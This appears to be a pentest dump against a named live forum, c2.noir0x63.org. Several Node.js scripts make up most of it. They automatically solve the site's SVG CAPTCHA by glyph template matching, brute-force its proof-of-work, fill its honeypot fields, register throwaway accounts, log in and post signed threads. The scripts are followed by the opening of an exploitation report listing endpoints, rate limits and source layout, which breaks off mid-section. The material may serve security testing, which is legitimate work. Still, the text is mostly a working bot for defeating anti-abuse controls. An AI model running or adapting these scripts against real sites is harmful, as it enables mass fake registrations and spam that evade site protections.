2, 10]], }; function buildTemplates() { const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { const points = []; for (const [cmd, x, y] of commands) { points.push({ cmd, x, y }); } templates[char] = points; } return templates; } const TEMPLATES = buildTemplates(); function fetch(method, path, body = null) { return new Promise((resolve, reject) => { const url = new URL(path, API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); } catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function parseSvgCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const chars = []; const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let m; while ((m = re.exec(svg)) !== null) { const d = m[2].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const points = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: parseFloat(x), y: parseFloat(y) }; }); const normPoints = points.map(p => ({ cmd: p.cmd, x: Math.round(p.x * 100) / 100, y: Math.round(p.y * 100) / 100, })); chars.push(normPoints); } return chars; } function matchCharacter(normPoints) { let bestChar = 'X'; let bestScore = Infinity; for (const [char, template] of Object.entries(TEMPLATES)) { if (normPoints.length !== template.length) continue; let score = 0; let valid = true; for (let i = 0; i < template.length; i++) { const np = normPoints[i]; const tp = template[i]; if (np.cmd !== tp[0]) { valid = false; break; } const dx = Math.abs(np.x - tp[1]); const dy = Math.abs(np.y - tp[2]); if (dx > 0.5 || dy > 0.5) { valid = false; break; } score += dx + dy; } if (valid && score < bestScore) { bestScore = score; bestChar = char; } } return bestChar; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function fullExploit() { console.log('[1] Fetch CAPTCHA challenge'); const cap = await fetch('GET', '/api/auth/captcha'); if (cap.status !== 200) { console.log('FAIL:', cap.body); return; } const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log(\` powChallenge=\${powChallenge} difficulty=\${powDifficulty}\`); console.log('[2] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(\` powSalt=\${powSalt}\`); console.log('[3] Solve CAPTCHA'); const charPoints = parseSvgCaptcha(captchaSvg); console.log(\` Found \${charPoints.length} characters\`); let captchaText = ''; for (let i = 0; i < charPoints.length; i++) { const ch = matchCharacter(charPoints[i]); captchaText += ch; console.log(\` Char \${i+1}: matched='\${ch}' (\${charPoints[i].length} points)\`); } console.log(\` Captcha: \${captchaText}\`); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log(\` user=\${username}\`); console.log('[5] Derive keys via PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt'] ); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const regBody = { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }; const reg = await fetch('POST', '/api/auth/register', regBody); console.log(\` status=\${reg.status}\`, reg.body); if (reg.status === 201 || reg.status === 200) { console.log(' [✓] REGISTRATION SUCCESS!'); console.log(\` \${username} : \${passphrase}\`); console.log(' [7] Login'); const loginRes = await fetch('POST', '/api/auth/login', { codename: username, password: authKey }); console.log(\` status=\${loginRes.status}\`, loginRes.body ? 'OK' : 'FAIL'); if (loginRes.status === 200 && loginRes.body.token) { const token = loginRes.body.token; console.log(\` token=\${token.substring(0,20)}...\`); console.log(' [8] Create thread'); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title: 'SIGNAL_ACQUIRED', content: 'Proof of concept: Sybil registration bypass achieved.', author: username, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payload)); const signature = Buffer.from(sigBytes).toString('base64'); const threadRes = await fetch('POST', '/api/threads', { title: 'Sybil Registration Proof', content: 'Automated registration bypassing PoW (SHA-256/dif=5) + SVG vector CAPTCHA + honeypot.', category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(\` status=\${threadRes.status}\`, threadRes.body); } return { username, passphrase }; } return null; } fullExploit().then(r => { if (r) console.log(' Done!'); else console.log(' Failed.'); }).catch(e => console.error('Error:', e)); 

import https from 'https'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; function fetchCaptcha() { return new Promise((resolve, reject) => { const url = new URL('/api/auth/captcha', API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(JSON.parse(d))); }); req.on('error', reject); req.end(); }); } async function main() { const cap = await fetchCaptcha(); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let idx = 0; let m; const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { templates[char] = commands.map(([cmd, x, y]) => ({ cmd, x, y })); } while ((m = re.exec(svg)) !== null) { const pathStr = m[2].replace(/s+/g, ' ').trim(); const parts = pathStr.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); console.log(\` === Char \${++idx} (\${rawPoints.length} points) ===\`); console.log(\` Raw: \${rawPoints.map(p => \`\${p.cmd}(\${p.x}, \${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i].x); const dy = Math.abs(rawPoints[i].y - tpl[i].y); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best match: \${best} (score=\${bestScore})\`); if (best === 'X') { console.log(\` Length \${rawPoints.length}: templates with same length:\`); for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length === tpl.length) { console.log(\` \${char}: \${tpl.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); 

import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds.map(([cmd, x, y]) => ({ cmd, x, y })); function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((r, j) => { const u = new URL(path, API); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', ...extraHeaders }, }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => { try { r({ s: s.statusCode, b: JSON.parse(d) }); } catch { r({ s: s.statusCode, b: d }); } }); }); q.on('error', j); if (body) q.write(JSON.stringify(body)); q.end(); }); } function extractEndpointsFromBezier(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const trimmed = seg.trim(); const cmd = trimmed[0]; const rest = trimmed.substring(1).trim(); const parts = rest.split(/s+/).filter(s => s.length > 0).map(parseFloat); if (cmd === 'M' && parts.length >= 2) { points.push({ cmd: 'M', x: Math.round(parts[0] * 100) / 100, y: Math.round(parts[1] * 100) / 100 }); } else if (cmd === 'C' && parts.length >= 6) { const ex = parts[parts.length - 2]; const ey = parts[parts.length - 1]; points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } function matchCharacter(extractedPoints) { let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (extractedPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (extractedPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(extractedPoints[i].x - tpl[i].x); const dy = Math.abs(extractedPoints[i].y - tpl[i].y); if (dx > 2.0 || dy > 2.0) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } return best; } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const groupRe = /<g transform="[^"]*"[^>]*>([sS]*?)</g>/g; let result = '', gm; while ((gm = groupRe.exec(svg)) !== null) { const content = gm[1]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const points = extractEndpointsFromBezier(pm[1]); allPoints = allPoints.concat(points); } const ch = matchCharacter(allPoints); result += ch; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function main() { console.log('[1] Fetch CAPTCHA'); const cap = await fetchJSON('GET', '/api/auth/captcha'); const { captchaSvg, captchaToken, powChallenge, powDifficulty, captchaIssuedAt, honeypotFields, hpToken } = cap.b; console.log(' Got captcha, powDifficulty=' + powDifficulty); console.log('[2] Solve CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(' Captcha: ' + captchaText); console.log('[3] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(' salt: ' + powSalt); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki', kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8', kp.privateKey)).toString('base64'); const user = 'b' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[5] PBKDF2'); const baseKey = await subtle.importKey('raw', enc.encode(pass), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':auth:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, 256))).map(b => b.toString(16).padStart(2, '0')).join(''); const aesKey = await subtle.deriveKey({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':enc:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64') + ':' + Buffer.from(await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, await subtle.exportKey('pkcs8', kp.privateKey))).toString('base64'); console.log('[6] Register ' + user); const regBody = { codename: user, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, }; for (const f of (honeypotFields || [])) { regBody[f.name] = ''; } const reg = await fetchJSON('POST', '/api/auth/register', regBody); console.log(' status: ' + reg.s + ' ' + JSON.stringify(reg.b)); if (reg.s === 201) { console.log(' [✓] REGISTERED!'); const login = await fetchJSON('POST', '/api/auth/login', { codename: user, password: authKey }); if (login.s === 200) { const token = login.b.token; console.log('Token: ' + token.substring(0, 20) + '...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const po = { op: 'create-thread', title: 'Bezier Bypass', content: 'New CAPTCHA solved via endpoint extraction.', author: user, nonce, timestamp: ts }; const payload = JSON.stringify(po, Object.keys(po).sort()); const sig = Buffer.from(await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, kp.privateKey, enc.encode(payload))).toString('base64'); const thread = await fetchJSON('POST', '/api/threads', { title: 'Bezier Bypass', content: 'New CAPTCHA with bezier curves solved via endpoint extraction.', category: 'web-security', signature: sig, nonce, timestamp: ts }, { 'Authorization': 'Bearer ' + token }); console.log('Thread: ' + thread.s + ' ' + JSON.stringify(thread.b)); } } } main().catch(e => console.error('Error:', e)); 

import https from 'https'; function fetch(p) { return new Promise((r, j) => { const u = new URL(p, 'https://c2.noir0x63.org'); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0' } }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => r(JSON.parse(d))); }); q.on('error', j); q.end(); }); } const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function extractEndpoints(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const parts = seg.trim().split(/s+/); const cmd = parts[0]; if (cmd === 'M') { points.push({ cmd: 'M', x: Math.round(parseFloat(parts[1]) * 100) / 100, y: Math.round(parseFloat(parts[2]) * 100) / 100 }); } else { const ex = parseFloat(parts[parts.length - 2]); const ey = parseFloat(parts[parts.length - 1]); points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } async function main() { const cap = await fetch('/api/auth/captcha'); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const groupRe = /<g transform="([^"]*)"[^>]*>([sS]*?)</g>/g; let idx = 0, gm; while ((gm = groupRe.exec(svg)) !== null) { const transform = gm[1]; const content = gm[2]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const ep = extractEndpoints(pm[1]); allPoints = allPoints.concat(ep); } console.log(\` === Char \${++idx} (\${allPoints.length} points) ===\`); console.log(\` Transform: \${transform}\`); console.log(\` Extracted: \${allPoints.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (allPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(allPoints[i].x - tpl[i][1]); const dy = Math.abs(allPoints[i].y - tpl[i][2]); if (dx > 1.5 || dy > 1.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best: \${best} (score=\${bestScore})\`); if (best === 'X') { for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length === tpl.length) { console.log(\` Template \${char}: \${tpl.map(t => \`\${t[0]}(\${t[1]},\${t[2]})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); 

Exploitation Report — C2 Forum (noir0x63.org)

Version: 2.0
Dates: June 27, 2026 (Session 1 + Session 2)
Target: https://c2.noir0x63.org
Source repository: https://github.com/Noir0x63/Command-Control-Forum
System author: Noir0x63 (Eduardo Camarillo)
Methodology: Session 1 with source access (whitebox) → Session 2 live (blackbox)

Table of Contents

1. Executive Summary
2. Session 1: Whitebox — Analysis and Exploitation
3. Session 2: Blackbox — Re-test in Production
4. Version Comparison
5. Patched Vulnerabilities
6. Persistent Vulnerabilities (unverified)
7. Artifacts
8. Chronology
9. Conclusions

1. Executive Summary

Two penetration testing sessions were conducted against the Command & Control Forum system, a forum platform with a Zero-Trust model and ECDSA P-256 asymmetric cryptography.

Consolidated Results

Findings

2. Session 1: Whitebox — Analysis and Exploitation

2.1 Initial Reconnaissance

URL: https://c2.noir0x63.org/?view=thread-detail&id=9286a2d1377d9970d99029803f3a95b3 

Mapped Endpoints

Rate Limiting Detected

Ratelimit-Limit: 10 Ratelimit-Policy: 10;w=900 

Auth endpoints: 10 requests / 15 min
Write endpoints: 20 requests / 1 min
Captcha endpoint: No rate limit

2.2 Source Code Reverse Engineering

Repository found on GitHub:

https://github.com/Noir0x63/Command-Control-Forum 

Key Files

server/ ├── server.js # Express + SQLite + Socket.io + ECDSA verify ├── setup.js # CLI para cuentas COMMANDER (solo servidor físico) ├── package.json └── server/ ├── captcha.js # CAPTCHA vectorial + PoW SHA-256 └── workers/ └── hash-worker.js # scrypt N=131072 public/ ├── index.html ├── index.css └── app.js # SPA + WebCrypto 

Technology Stack

Analysis of captcha.js

